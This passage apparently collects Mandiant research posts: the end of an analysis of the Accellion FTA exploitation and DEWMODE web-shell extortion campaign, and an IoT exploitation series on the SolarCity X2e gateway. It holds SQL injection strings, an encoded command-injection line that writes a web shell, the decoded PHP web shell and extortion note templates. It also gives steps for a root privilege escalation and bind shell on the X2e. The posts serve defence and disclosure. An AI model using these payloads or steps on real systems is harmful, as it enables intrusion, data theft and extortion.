evidence from multiple client investigations has shown multiple commonalities in UNC2546’s activities. Evidence of Exploitation and DEWMODE Installation Mandiant has been able reconstruct many of the details about how Accellion FTAs have been compromised through examination of Apache and system logs from impacted devices—from initial compromise, to deployment of DEWMODE, and follow-on interaction. The earliest identification of activity associated with this campaign occurred in mid-December 2020. At this time, Mandiant identified UNC2546 leveraging an SQL injection vulnerability in the Accellion FTA. This SQL injection served as the primary intrusion vector. Mandiant observed evidence of SQL injection followed by subsequent requests to additional resources, as shown in Figure 1. [21/Dec/2020:18:14:32 +0000] [.’))union(select(c_value)from(t_global)where(t_global.c_param)=(‘w1’))#/sid#935ee00][rid#9700968/initial] (1) pass through /courier/document_root.html [21/Dec/2020:18:14:33 +0000] [‘))union(select(loc_id)from(net1.servers)where(proximity)=(0))#/sid#935ee00][rid#9706978/initial] (1) pass through /courier/document_root.html [21/Dec/2020:18:14:33 +0000] [.’))union(select(reverse(c_value))from(t_global)where(t_global.c_param)=(‘w1’))#/sid#935ee00][rid#971c098/initial] (1) pass through /courier/document_root.html [21/Dec/2020:18:14:34 +0000] [<redacted>/sid#935ee00][rid#971a090/initial] (1) pass through /courier/sftp_account_edit.php [21/Dec/2020:18:14:35 +0000] [<redacted>/sid#935ee00][rid#9706978/initial] (1) pass through /courier/oauth.api [21/Dec/2020:18:14:35 +0000] [<redacted>/sid#935ee00][rid#9708980/initial] (1) pass through /courier/oauth.api   Figure 1: SQL injection log UNC2546 has leveraged this SQL injection vulnerability to retrieve a key which appears to be used in conjunction with a request to the file sftp_account_edit.php. Immediately after this request, the built-in Accellion utility admin.pl was executed, resulting in an eval web shell being written to oauth.api. PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl –edit_user=F –mount_cifs=- V,DF,$(echo${IFS}PD9waHAKCmlmKGlzc2V0KCRfUkVRVUVTVFsndG9rZW4nXSkpCnsKICAgIGV2YWwoYm FzZTY0X2RlY29kZSgkX1JFUVVFU1RbJ3Rva2VuJ10pKTsKfQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnd XNlcm5hbWUnXSkpCnsKICAgIHN5c3RlbSgkX1JFUVVFU1RbJ3VzZXJuYW1lJ10pOwp9CmVsc2UKewogICAgaG VhZGVyKCdMb2NhdGlvbjogLycpOwp9|base64${IFS}-d|tee${IFS}/home/seos/courier/oauth.api);FUK;”,PASSWORD # \” –passwd=pop Figure 2: Excerpt from log showing creation of eval web shell The decoded contents are shown in Figure 3. <?php if(isset($_REQUEST[‘token’])) {     eval(base64_decode($_REQUEST[‘token’])); } else if(isset($_REQUEST[‘username’])) {     system($_REQUEST[‘username’]); } else {     header(‘Location: /’); } Figure 3: Decoded eval web shell Almost immediately following this sequence, the DEWMODE web shell is written to the system. The timing of these requests suggests that DEWMODE was delivered via the oauth.api web shell; however, the available evidence does not indicate the exact mechanism used to write DEWMODE to disk. Mandiant has identified the DEWMODE web shell in one of the following two locations: /home/seos/courier/about.html /home/httpd/html/about.html The DEWMODE web shell (Figure 4) extracts a list of available files from a MySQL database on the FTA and lists those files and corresponding metadata—file ID, path, filename, uploader, and recipient—on an HTML page. UNC2546 then uses the presented list to download files through the DEWMODE web shell. Download requests are captured in the FTA’s web logs, which will contain requests to the DEWMODE web shell with encrypted and encoded URL parameters, where dwn is the file path and fn is the requested file name (Figure 5). The encrypted file path and name values visible in web logs can be decrypted using key material obtained from the database used by the targeted FTA. Given the complex nature of this process, if your organization needs assistance reviewing relevant logs, please contact Mandiant or Accellion. Figure 4: DEWMODE web shell screenshot GET /courier/about.html?dwn=[REDACTED]&fn=[REDACTED] HTTP/1.1″ 200 1098240863 “-” “-” “-” TLSv1.2 ECDHE-RSA-AES128-SHA256 Figure 5: DEWMODE File Download URL parameters Following file downloads, UNC2546 initiates a cleanup routine by passing a specific query parameter named csrftoken with the value 11454bd782bb41db213d415e10a0fb3c to DEWMODE. The following actions are performed: A shell script is written to /tmp/.scr, which will:Remove all references to about.html from log files located in /var/opt/apache/ Write the modified log file to /tmp/x then replace the original log file at /var/opt/apache/ Delete the contents of the /home/seos/log/adminpl.log log file. Remove /home/seos/courier/about.html (DEWMODE) and /home/seos/courier/oauth.api (eval web shell), and redirect command output to the file /tmp/.out Change the permissions of the output file to be readable, writeable and executable by all users, and set the owner to “nobody” Delete the script file /tmp/.scr and other temporarily created files to assist in cleanup Display cleanup output to the requesting user An example of a cleanup request and subsequent execution of the cleanup script can be seen in Figure 6. GET /courier/about.html?csrftoken=11454bd782bb41db213d415e10a0fb3c HTTP/1.1″ 200 5 “-” “https://[REDACTED]//courier/about.html?aid=1000” “Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101 sft sudo:   nobody : TTY=unknown ; PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl –mount_cifs=AF,DF,’$(sh /tmp/.scr)’,PASSWORD Figure 6: DEWMODE cleanup request Mandiant also identified a variant of DEWMODE (bdfd11b1b092b7c61ce5f02ffc5ad55a) which contained minor changes to the cleanup operation, including wiping of /var/log/secure and removing about.html and oauth.api from the directories /home/httpd/html/ instead of /home/seos/courier/. In a subset of incidents, Mandiant observed UNC2546 requesting a file named cache.js.gz (Figure 7). Based on temporal file access to the mysqldump utility and mysql data directories, the archive likely contained a dump of the database. With the exception of cache.js.gz, Mandiant has not observed UNC2546 acquiring files from Accellion appliances through any method besides DEWMODE. GET //courier/cache.js.gz HTTP/1.1” 200 35654360 “-” “-” “python-requests/2.24.0” TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 Figure 7: cache.js.gz file request UNC2582 Data Theft Extortion Shortly after installation of the web shell, in multiple cases within hours, UNC2546 leveraged DEWMODE to download files from compromised FTA instances. While the actors’ motivations were not immediately clear, several weeks after delivery of the DEWMODE web shell, victims began to receive extortion emails from an actor claiming association with the CLOP ransomware team (Figure 8 and Figure 9). The actors threatened to publish data on the “CL0P^_- LEAKS” .onion shaming website, unless the victim paid an extortion fee. We are tracking the subsequent extortion activity under a separate threat cluster, UNC2582. Despite tracking the exploitation and extortion activity in separate threat clusters we have observed at least one case where an actor interacted with a DEWMODE web shell from a host that was used to send UNC2582-attributed extortion email. Hello! Your network has been hacked, a lot of valuable data stolen. <description of stolen data, including the total size of the compressed files> We are the CLOP ransomware team, you can google news and articles about us. We have a website where we publish news and stolen files from companies that have refused to cooperate. Here is his address http://[redacted].onion/ – use TOR browser or http://[redacted].onion.dog/ – mirror. We are visited by 20-30 thousand journalists, IT experts, hackers and competitors every day. We suggest that you contact us via chat within 24 hours to discuss the current situation. <victim-specific negotiation URL> – use TOR browser We don’t want to hurt, our goal is money. We are also ready to provide any evidence of the presence of files with us. Figure 8: Extortion Note Template 1 This is the last warning! If you don’t get in touch today, tomorrow we will create a page with screenshots of your files (like the others on our site),  send messages to all the emails that we received from your files. Due to the fact that journalists and hackers visit our site, calls and questions will immediately begin, online publications will begin to publish information about the leak, you will be asked to comment. Do not let this happen, write to us in chat or email and we will discuss the situation! CHAT:  <victim-specific negotiation URL> EMAIL: [email protected] USE TOR BROWSER! Figure 9: Extortion Note Template 2 Based on observations at several engagements, UNC2582 appears to follow a pattern of escalation to pressure victims into paying extortion demands. Initial emails are sent from a free email account, likely unique per victim, to a seemingly limited distribution of addresses at the victim organization. If the victim does not respond in a timely manner, additional emails are sent to a much larger number of recipients from hundreds or thousands of different email accounts and using varied SMTP infrastructure. In at least one case, UNC2582 also sent emails  to partners of the victim organization that included links to the stolen data and negotiation chat. Monitoring of the CL0P^_- LEAKS shaming website has demonstrated that UNC2582 has followed through on threats to publish stolen data as several new victims have appeared on the site in recent weeks, including at least one organization that has publicly confirmed that their Accellion FTA device had been recently targeted. Key Overlaps With FIN11 UNC2582 (Extortion) and FIN11 Mandiant identified overlaps between UNC2582’s data theft extortion activity and prior FIN11 operations, including common email senders and the use of the CL0P^_- LEAKS shaming site. While FIN11 is known for deploying CLOP ransomware, we have previously observed the group conduct data theft extortion without ransomware deployment, similar to these cases. Some UNC2582 extortion emails observed in January 2021 were sent from IP addresses and/or email accounts used by FIN11 in multiple phishing campaigns between August and December 2020, including some of the last campaigns that were clearly attributable to the group. We have not observed FIN11 phishing activity in the new year. FIN11 has typically paused their phishing operations over the winter holidays and had several extended gaps in their operations. However, the timing of this current hiatus is also consistent with UNC2582’s data theft extortion activity. UNC2582 extortion emails contained a link to the CL0P^_- LEAKS website and/or a victim specific negotiation page. The linked websites were the same ones used to support historical CLOP operations, a series of ransomware and data theft extortion campaigns we suspect can be exclusively attributed to FIN11. UNC2546 (FTA Exploitation and DEWMODE) and FIN11 There are also limited overlaps between FIN11 and UNC2546. Many of the organizations compromised by UNC2546 were previously targeted by FIN11. An IP address that communicated with a DEWMODE web shell was in the “Fortunix Networks L.P.” netblock, a network frequently used by FIN11 to host download and FRIENDSPEAK command and control (C2) domains. Implications The overlaps between FIN11, UNC2546, and UNC2582 are compelling, but we continue to track these clusters separately while we evaluate the nature of their relationships. One of the specific challenges is that the scope of the overlaps with FIN11 is limited to the later stages of the attack life cycle. UNC2546 uses a different infection vector and foothold, and unlike FIN11, we have not observed the actors expanding their presence across impacted networks. We therefore have insufficient evidence to attribute the FTA exploitation, DEWMODE, or data theft extortion activity to FIN11. Using SQL injection to deploy DEWMODE or acquiring access to a DEWMODE shell from a separate threat actor would represent a significant shift in FIN11 TTPs, given the group has traditionally relied on phishing campaigns as its initial infection vector and we have not previously observed them use zero-day vulnerabilities.   Acknowledgements David Wong, Brandon Walters, Stephen Eckels and Jon Erickson Indicators of Compromise (IOCs) DEWMODE Web Shells MD5 SHA256 2798c0e836b907e8224520e7e6e4bb42 5fa2b9546770241da7305356d6427847598288290866837626f621d794692c1b bdfd11b1b092b7c61ce5f02ffc5ad55a 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 UNC2546 Source IP Addresses The following source IP addresses were observed in multiple UNC2546 intrusions: 45.135.229.179 79.141.162.82 155.94.160.40 192.154.253.120 192.52.167.101 194.88.104.24 Detections FireEye Detections FE_Webshell_PHP_DEWMODE_1 FEC_Webshell_PHP_DEWMODE_1 Webshell.PHP.DEWMODE Mandiant Security Validation A101-515 Malicious File Transfer – DEWMODE Webshell, Upload, Variant #1 A101-516 Malicious File Transfer – DEWMODE Webshell, Upload, Variant #2 DEWMODE YARA Rule The following YARA rule is not intended to be used on production systems or to inform blocking rules without first being validated through an organization’s own internal testing processes to ensure appropriate performance and limit the risk of false positives. This rule is intended to serve as a starting point for hunting efforts to identify DEWMODE payloads; however, it may need adjustment over time if the malware family changes. rule DEWMODE_PHP_Webshell {     strings:         $s1 = /if \(isset\(\$_REQUEST\[[\x22\x27]dwn[\x22\x27]]\)[\x09\x20]{0,32}&&[\x09\x20]{0,32}isset\(\$_REQUEST\[[\x22\x27]fn[\x22\x27]\]\)\)\s{0,256}\{/         $s2 = “<th>file_id</th>”         $s3 = “<th>path</th>”         $s4 = “<th>file_name</th>”         $s5 = “<th>uploaded_by</th>”         $s6 = “target=\\\”_blank\\\”>Download</a></td>”         $s7 = “Content-Type: application/octet-stream”         $s8 = “Content-disposition: attachment; filename=”     condition:         all of them }

  • Shining a Light on SolarCity: Practical Exploitation of the X2e IoT Device (Part Two)
    by Jake Valletta on February 17, 2021 at 1:00 pm

    In this post, we continue our analysis of the SolarCity ConnectPort X2e Zigbee device (referred to throughout as X2e device). In Part One, we discussed the X2e at a high level, performed initial network-based attacks, then discussed the hardware techniques used to gain a remote shell on the X2e device as a non-privileged system user. In this segment, we’ll cover how we obtained a privileged shell on the device locally using power glitching attacks, and explore CVE-2020-12878, a vulnerability we discovered that permitted remote privilege escalation to the root user. Combined with CVE-2020-9306 (discussed in Part One), this would result in a complete remote compromise of the X2e device. Technical Analysis Recap Before we dive into next steps, let’s recap where we left off: The X2e has an exposed universal asynchronous transmit/receive (UART) interface, which allows a physically connected user to view (but not interrupt) the Das U-Boot (U-Boot) boot process, and given proper credentials, authenticate to the Linux operating system. Since we do not have root credentials, we put this thread on the backburner. We have a full NAND dump of the Spansion raw flash, which includes boot configuration, bootloader firmware, filesystems, and the Linux kernel image. This was used previously in Part One to obtain the hardcoded credential for the python user. Knowing that UART is present and access to the bootloader would be extremely valuable, we decided to revisit that thread. Gaining Privileged Access Locally Revisiting the Bootloader Figure 1 shows the U-Boot boot process displayed while connected via UART connection. In some cases, it is possible to send keyboard input to the device during a set period (usually one to four seconds) when the bootloader presents the message, “Hit any key to stop autoboot,” which interrupts the boot process and drops the user into a U-Boot shell. On the X2e, this feature has been disabled by setting the U-Boot configuration parameter CONFIG_BOOTDELAY to 0. Figure 1: Uninterruptable U-Boot bootloader output One attack that has been documented to be successful to disrupt autoboot is to manipulate the bootloader’s ability to access the flash storage during the boot process. In certain circumstances where the U-Boot bootloader is unable to access its own configuration, it fails into a default environment, which may be less restricted. We decided to see if this would be possible on the X2e. These attacks, known as glitch attacks (or more officially known as fault-injection), are a type of side channel attack that attempts to cause a microcontroller unit (MCU) to skip instructions, perform wrong instructions, or fail to access flash memory. Various types of glitching attacks exist including electrical, thermal, and radiation. Based on our objective, we opted to try glitching the power between the MCU and the Spansion NAND flash. Note that glitch attacks can often cause damage to the components on a board or put the device in an unusable state. These types of attacks should be tested as either a last resort or against a secondary device you are comfortable with damaging. Glitching the Bootloader Based on previous research in this domain, we opted to target the data lines (I/O) between the MCU and NAND flash. Recall from Part One that the NAND flash on the X2e was the Spansion S34ML01G1, which was a 63-pin ball grid array (BGA) package. This chip is capable of supporting both 8-bit and 16-bit bus width, which corresponds to the number of I/O lines utilized. By using the datasheet for the flash and then querying the ONFI Device ID of our chip, we determined our chip was utilizing the 8-bit configuration, meaning eight I/O lines were present between the NAND flash and the MCU. For this attack, we focused on manipulating the power on the first (I/O0) data line. Figure 2 shows the configuration of the BGA-63 pins, with I/O0 highlighted. Figure 2: Identifying I/O0 for NAND chip in the Spansion datasheet Because the pins are actually underneath the flash package, we needed to find an exposed lead that corresponded to I/O0 elsewhere on the PCB. One such method for tracing connections across a PCB is a continuity test. A continuity test (using a multimeter) sends a low current electrical signal across two points and produces an audible beep if the points are connected. Using this technique, we located an exposed test point (known as a via) on the bottom of the PCB. Figure 3 shows the I/O0 pin on the top of the PCB (under the NAND chip), and Figure 4 shows the I/O0 pin exposed on the bottom of the PCB. Figure 3: I/O0 on top of PCB (under NAND chip) Figure 4: I/O0 on bottom of PCB With exposed access to I/O0 located, we experimented with connecting this pin directly to a known ground (GND) pin at various points during the boot process. Figure 5 shows the device powering on with the metal tweezers connecting I/O0 to GND. Figure 5: Shorting I/O0 to GND While connected to the UART interface, we noted several different outcomes. When shorting the pin immediately after powering on, the device failed to produce any output or boot. When shorting after the bootloader finished loading (and handing off to the Linux kernel), the device would also force reboot. However, when timed perfectly between the bootloader loading and attempting to read its configuration, we noted that the bootloader would present different output, and the option to interrupt the boot process was possible with a four-second delay. By pressing keyboard input, we were successfully able to drop into a U-Boot shell, which is shown in Figure 6. Figure 6: Access to U-Boot bootloader shell While this was great progress, we noted that the current failback bootloader configuration was completely inoperable and certain NAND blocks had been marked as bad (as expected). To get our device back to a working state, we needed to revisit the NAND dump we generated in Part One. Repairing the Bootloader Configuration While the current configuration provided us a working shell, we needed to fix the damage we had done. This was performed in two steps: fixing the mistakenly marked bad blocks and then rebuilding the configuration. In our case, the nand utility and its sub-commands read, write, and scrub allowed us to inspect and manipulate pages and blocks of the NAND. The nand scrub command with a valid offset and size could be used to completely reset a segment of the NAND, which removed any bad block markers. The next challenge was determining what needed to be replaced in the damaged blocks and rebuilding the configuration. Since we had a valid NAND image, we revisited the sections read by the bootloader to determine what changes were needed. The format did not match a known format, so we wrote a simple parser in Python to read the binary structure, shown in Figure 7. Figure 7: Parsing bootloader nvram configuration from flash With details of how the configuration should look, we used the nand write to rebuild this section, byte by byte with the correct details. We also set the boot delay to be four seconds, so that we could always interrupt the bootloader once the new configuration was committed. Once we confirmed our changes were stable, we saved the configuration to flash and could access the bootloader without performing the aforementioned glitch attack. Accessing Linux as root User Now that we have unrestricted access to the bootloader, we can finally influence the rest of the boot process and achieve a privileged shell. We alluded to this in Part One, but the easiest way to turn an unlocked U-Boot shell into a root Linux shell is to adjust the boot arguments that U-Boot passes to the Linux kernel. In our case, this was accomplished by using the setenv utility to change the std_bootarg environment variable to be init=/bin/sh and instructing U-Boot to resume the standard boot process. Figure 8 shows the Linux shell presented over UART. Figure 8: root shell after bootloader At this point, we’ve demonstrated a repeatable method for achieving local privilege escalation. In the final segment, we’ll complete our attack by exploring an avenue to remotely escalate privileges. Gaining Privileged Access Remotely Since the X2e has only two available listening network services, it makes sense to reinvestigate these services. During Part One, we identified hardcoded credentials for the limited user python. This was useful for initial probing of the device while it was running, but where do we go from here? Embedded devices typically only have a handful of users, with a majority of functionality being performed by the root user. This presents an interesting opportunity for us to abuse overlap between actions performed by the root user on contents owned and controlled by the python user. By reviewing the boot process, we noted a large number of custom init scripts in the /etc/init.d/ directory. These scripts are executed at system start by the root user and were responsible for starting daemons and ensuring directories or files exist. One file in particular, /etc/init.d/S50dropbear.sh, was interesting to us, as it appeared to perform a number of actions on files within the directory specified by the $PYTHON_HOME variable, which was /WEB/python/, shown in Figure 9. Figure 9: Unsafe operations on $PYTHON_HOME directory At first glance this may seem benign but considering that the /WEB/python/ directory is controllable by the python user, it means that we can potentially control actions taken by root. More specifically, the chown operation is dangerous, as the previous mkdir command can fail silently and result in an unsafe chown operation. To weaponize this, we can use symbolic links to point the /WEB/python/.ssh/ to other areas of the filesystem and coerce the root process into chown’ing these files to be owned by the python user. The process we took to exploit this was as follows: Authenticate over SSH using hardcoded python user credentials. Create a symbolic link, /WEB/python/.ssh, that points to /etc/init.d/. Reboot the X2e, forcing the system to re-execute /etc/init.d/S50dropbear.sh. After boot completes, create a malicious init script in /etc/init.d/ as the python user. Reboot the X2e, forcing the system to execute the new init script. While not the cleanest approach (it requires two reboots), it accomplishes the goal of achieving code execution as root. Figure 10 shows the output of our proof of concept. In this case, our malicious init script spawned a bind shell on TCP port 8080, so that we could connect in as root. Figure 10: Exploiting chown vulnerability to gain shell as user root And there we have it: a remote connection as root, by abusing two separate vulnerabilities. While not explored in this series, another viable avenue of attack would be to explore potential vulnerabilities in the web server listening on TCP ports 80 and 443; however, this was not an approach that we took. Conclusion We covered a wide variety of topics in this two-part series, including: Physical device inspection Identifying and exploring physical debugging interfaces (UART) Chip-off techniques to remove the NAND storage Binary analysis of the filesystems and bootloader configurations Power glitch attacks against the U-Boot bootloader Linux user space privilege escalation We hope that readers were able to learn from our experiences with the X2e and will be inspired to use these techniques in their own analysis. Finally, Mandiant would like to thank both Tesla/SolarCity and Digi International for their efforts to remediate these vulnerabilities and for their cooperation with releasing this blog series.

  • Shining a Light on SolarCity: Practical Exploitation of the X2e IoT Device (Part One)
    by Jake Valletta on February 17, 2021 at 1:00 pm

    In 2019, Mandiant’s Red Team discovered a series of vulnerabilities present within Digi International’s ConnectPort X2e device, which allows for remote code execution as a privileged user. Specifically, Mandiant’s research focused on SolarCity’s (now owned by Tesla) rebranded ConnectPort X2e device, which is used in residential solar installations. Mandiant performs this type of work both for research purposes and in a professional capacity for their global clients. Mandiant collaborated with Digi International and SolarCity/Tesla to responsibly disclose the results of the research, resulting in the following two CVEs: Hardcoded Credentials (CVE-2020-9306, CVSS3.0: 8.8) Execution with Unnecessary Privileges (CVE-2020-12878, CVSS3.0: 8.4) Technical details can be found in Digi International’s 3.2.30.6 software release, and on FireEye’s Vulnerability Disclosures GitHub project (FEYE-2020-0019 and FEYE-2020-0020). This two-part blog series will discuss our analysis at a high level, explore the novel techniques used to gain initial access to the ConnectPort X2e device, and share the technical details of the vulnerabilities discovered. Topics to be covered will include physical device inspection, debugging interface probing, chip-off techniques, firmware analysis, glitch attacks, and software exploitation. If you’re interested in continuing the story in Part Two, you can read it now. FAQ What devices are affected, and (potentially) how many devices are affected? The vulnerabilities described in this post affect ConnectPort X2e devices as well as the SolarCity rebranded variant. Other vendor devices may also be vulnerable. It is unclear how many ConnectPort X2e devices are deployed in the wild. How is the issue being addressed? Mandiant worked independently with Digi International and Tesla to remediate the vulnerabilities. Mandiant would like to thank Digi International and Tesla for their cooperation and dedication to improving the security of their products. How would an attacker exploit these vulnerabilities? An attacker with local network access (such as being connected to an individual’s home network via Ethernet) to a vulnerable X2e device can exploit CVE-2020-9306 and CVE-2020-12878 to gain privileged access to the device. Who discovered these vulnerabilities? Jake Valletta (@jake_valletta), Sam Sabetan (@samsabetan) More information such as videos and datasheets on Mandiant’s Embedded Device Assessments can be found here. Technical Analysis Device Overview Before diving into the details, we’ll discuss the ConnectPort X2e device (referred to as X2e device throughout the post) at a high level. The X2e device is a programmable gateway that connects to and collects data from ZigBee devices. It is commonly used as a Smart Energy gateway to interpret and send energy readings from a residential Solar Inverter. Vendors will often purchase an X2e device and configure it to read power consumption generated by a customer’s Solar Inverter. Figure 1 outlines a typical residential solar installation and highlights the X2e’s role. Figure 1: Typical X2e residential deployment For our research, we focused on the X2e device used by SolarCity, now Tesla, to retrieve data from residential solar installations. A typical setup would involve SolarCity providing a customer with a gateway that would be connected to the Internet via an Ethernet cable on the customer’s home network. Figure 2 shows one of the SolarCity branded X2e devices that we tested. Figure 2: X2e device Without even plugging in the X2e device, we know of at least two separate interfaces to explore: the Ethernet interface and the ZigBee radio. Note that we did not review the ZigBee interface between the X2e and a solar invertor, and that interface will not be covered in either Part One or Part Two of this series. Initial Analysis and Physical Inspection Network Reconnaissance We started our research by assessing the X2e device from a network perspective. By using nmap, we discovered that the device exposed both SSH and HTTP/HTTPS, shown in Figure 3. Figure 3: Port scan results from the X2e Upon accessing these services remotely, we noted that both services required authentication. We also performed limited brute force attempts, which were unsuccessful. Additionally, the underlying services were not vulnerable to any public exploits. With not many network-based leads to follow, we shifted our analysis to a hardware perspective to determine if any local attacks may be possible to gain initial access onto the device. Physical Board Inspection To begin our hardware analysis, we removed the plastic casing from the device and mapped out the various integrated circuit (IC) components and searched for potential debugging interfaces. Inventorying the components present on the circuit board (also known as a PCB) is a crucial step in understanding how the device was designed and what can be expected down the road. Figure 4 shows the mapped-out components as well as a cluster of pins that resembled a typical 3-pin universal asynchronous transmit/receive (UART) connection, a common debugging interface on embedded devices. Figure 4: X2e components and suspicious cluster of pins Without a remote connection to the X2e device, UART is an attractive target. UART typically provides the equivalent functionality of a service like SSH or Telnet and the added benefit of watching verbose output during system boot. To determine if the cluster of pins was a UART interface, we first soldered a 3-pin through-hole header to the PCB. Using a combination of continuity tests with a multimeter and the digital logic analyzer Saleae, it became apparent that we were in fact dealing with a UART interface. The Figure 5 shows the three pins (Ground, TX, RX) connected to the header. Attached to the other end of the three wires was a FTDI serial TTL-232 to USB adapter, which was connected to a Linux virtual machine. Figure 5: Connecting to potential UART interface In addition to correctly identifying the UART pins and a UART to USB adapter, we also needed software to read/write from the interface as well as knowledge of the baud rate. Baud rates vary but typically follow standard values, including 9600, 14400, 19200, 38400, 57600, and 115200. Using the python module pySerial, we connected to the USB adapter and tried standard baud rates until one of the rates produced readable ASCII output (an incorrect baud rate will typically produce non-readable output), and determined the X2e used a baud rate of 115200. Upon booting the X2e, we noted output from the BootROM, bootloader (which was Das U-Boot 2009.8, a common embedded bootloader), as well as output from the Linux kernel transmitted over the UART connection, shown in Figure 6. Figure 6: UART boot messages Many configurations of U-Boot allow a physically connected user (using an interface such as UART) the ability to interrupt the boot process; however, this configuration explicitly disabled that feature, shown in Figure 7. Figure 7: Uninterruptable U-Boot bootloader on the X2e Interrupting a bootloader is attractive to an attacker, as often the boot parameters passed to the Linux operating system can be manipulated to control how it will load, such as booting into single user mode (typically a recover shell) or mounting filesystems as read-write. In the case of the X2e, the UART connection was mapped to a Linux TTY which required username and password authentication, shown in Figure 8. Figure 8: User authentication to Linux over UART Without any ability to interrupt the boot process or credentials to authenticate to the X2e, we were faced with another dead end. We then shifted our analysis to obtaining the firmware stored on the X2e’s non-volatile storage. Chip Removal and Data Extraction In this section, we’ll cover the basics of non-volatile memory, often referred to as “flash memory”, present on embedded devices as well as the process used to extract content from the chip. As mentioned, taking inventory of the components on the PCB is an important first step. Figure 9 shows the suspected flash chip present on the PCB magnified under a digital microscope. Figure 9: Closeup of Spansion flash The visible markings seen in Figure 9 are important as they allow us to determine the manufacturer and model of the flash, which will assist us with obtaining the datasheet for the chip. In our case, the NAND we were dealing with was a Spansion S34ML01G1, and its datasheet could be found here. NAND Overview Before we talk about acquiring the firmware from the NAND chip, it’s important to first understand the various scenarios that embedded devices typically follow. NAND verses NOR: These fundamentally different technologies each have their own benefits and drawbacks. NAND is cheap but suffers from high probability of “bad blocks,” or areas that are corrupt sometimes directly from the factory. As such, protections and considerations need to be present to be able to protect against this. NAND is also much faster to erase and write, making it ideal for storing file systems, kernels, and other pieces of code that may need to be reset or changed. NOR has significantly faster read times but is not as flexible with accessing data and has low erase and write speeds. NOR is usually used for low-level bootloaders, hardcoded firmware blobs, and other areas that are not expected to change frequently. The X2e uses a NAND flash. Serial verses Parallel: This refers to how the data is accessed and is typically visually identifiable. If there are a large number of pins, the flash is likely parallel. Serial NOR chips can be small in size and typically need eight or fewer pins to function. Common serial interfaces are Serial Peripheral Interface (SPI) or Inter-Integrated Circuit (I2C), while a common parallel interface for NAND is Open NAND Flash Interface (ONFI2.0, ONFI3.0). The X2e is a parallel flash. IC Form Factor: Another visually identifiable trait—form factor (or “package”)—refers to how the chip is attached to the PCB. There is a long list of options here, but common surface-mount flash packages include small outline package (SOP), thin outline small package (TOSP), or a variant of ball grid array (*BGA). The key distinction here is SOP and TOSP expose the pins, while BGA conceals the pins under the package. The X2e is BGA63, also referred to as a 63-pin BGA package. Managed verses Unmanaged Flash: This one is more applicable to NAND, for reasons alluded to in the NAND verses NOR section. As stated, NAND needs help to manage the integrity of the data. With unmanaged NAND, the IC reserves sections of the flash (often called “spare” area) for someone else to manage the data. This is typically implemented as either a kernel driver or an external NAND controller. Managed NAND means that the IC package includes the controller and transparently manages the data. This is extremely common in embedded devices, as either embedded MMC (eMMC) or universal flash storage (UFS). The X2e uses unmanaged flash and is controlled by the main microcontroller present on the PCB. With the basics out of the way, we proceeded with physically removing the chip from the PCB. Chip Removal Physical chip removal is considered a destructive approach but can certainly be performed without damaging the PCB or the flash chip itself. When presented with removal of BGA packages, the two most common removal techniques are either hot air or infrared light (IR). Commercial solutions exist for both hot air and IR, but cheaper options exist with hot air removal. We opted to use hot air on the X2e. To minimize damage to the PCB and flash, a PCB heater or oven can be used to slowly bring the entire PCB to a temperature right below the solder melting point. This will reduce the amount of time we need to focus our hot air directly onto the flash IC and help with reducing the heat dissipation into the PCB throughout the process. One final trick that can be used to minimize nearby chips from being damaged or lost (due to the air pressure) is the use of high-heat resistant tape, commonly referred to as Kapton tape. Figure 10 shows the PCB wrapped in Kapton tape to protect nearby components. Figure 10: High-heat resistant tape on PCB Figure 11 shows an example setup with the X2e PCB inserted into a PCB heater, with a hot air gun suspended over the IC. Figure 11: Hot air rework/reflow station While using the hot air to warm the IC and surrounding areas, we gently nudged the flash to see if the solder had become molten. Once the chip appeared to be floating, we quickly removed the chip and let it cool for about 30 seconds. Figure 12 shows the IC flash removed from the PCB, with the solder still present on the BGA pads. Figure 12: NAND removed from X2e Before inserting the NAND into a clam-shell chip reader, the leftover solder must be removed from the flash. This can be accomplished using a soldering iron, high-quality flux, and de-soldering wick. Once removed, isopropyl alcohol and a toothbrush are highly effective at removing the leftover flux residue and cleaning the chip. In the next section, we’ll attempt to extract the data from the NAND chip using a multi-purpose chip programmer. Data Extraction With the cleaned flash chip in hand, we can now explore options for reading the raw contents. Commercial forensic acquisition devices exist, but a quick eBay or AliExpress search will produce a multitude of generic chip readers. One such device, the XGecu Pro, supports a variety of adapters and chipsets and connects to a Windows machine using USB. It also comes with software to interface with the XGecu Pro and can even auto-detect flash. To connect the Spansion NAND to the XGecu Pro, we also purchased a clamshell BGA63 adapter. Figure 13 shows the NAND inserted into the clamshell reader, and Figure 14 shows the clamshell adapter connected to the XGecu Pro device. Figure 13: Spansion NAND in BGA clamshell adapter Figure 14: NAND adapter connected to XGecu Using the XGecu Pro software, we can read the entire contents of the flash to a binary file for further analysis. Since these are not commercial solutions, it is a good idea to perform two or three reads and then diff the extraction to confirm the content was read without errors. Firmware Analysis Cleaning and Mounting With our fresh NAND dump in hand, the next step was to parse out any relevant firmware blobs, configurations, or filesystems. The go-to tool for starting this process is binwalk. binwalk does a fantastic job of detecting filesystems, bootloaders, and kernels. In addition, binwalk can calculate entropy (detecting packed or encrypted data) and identify assembly opcodes. Figure 15 shows partial output of running binwalk against the NAND dump. Figure 15: Initial binwalk scan against NAND dump We can see from the output that binwalk successfully identified what it believes are U-Boot uImage headers, Linux kernel images, and more than a dozen Journaling Flash File System version 2 (JFFS2) filesystems. JFFS2 is a common filesystem used in embedded devices; Unsorted Block Image File System (UBIFS) and SquashFS would also be common. At first glance, the output appears to be promising; however, it is highly unlikely that there are actually that many JFFS2 filesystems present on our NAND. Another indication that something isn’t quite right are the hexadecimal offsets – they don’t appear to be clean, uniform offsets. It is far more common that the offsets of the items identified by binwalk would align with NAND page offsets, which are a multiple of 2048. In order to understand what is occurring here, we need to revisit a characteristic of unmanaged (or “raw”) NAND ICs described in the NAND Overview section. To recap, raw NAND requires additional bytes per page for use by higher-level components to attest to the validity of the page, typically implemented as a defined “bad block” marker and a per-page (or subpage) Error-Correcting Code (ECC). Without going too deep into ECC fundamentals, ECC provides the ability for higher-level processes to detect n number of bad bits on a page and to correct m number of bits. Since our goal here is not to perform forensics on the raw NAND, our immediate objective is to remove any ECC bytes or other non-data related bytes from the NAND dump. The MCU is ultimately the system manipulating the raw NAND, so understanding how our MCU, which was an 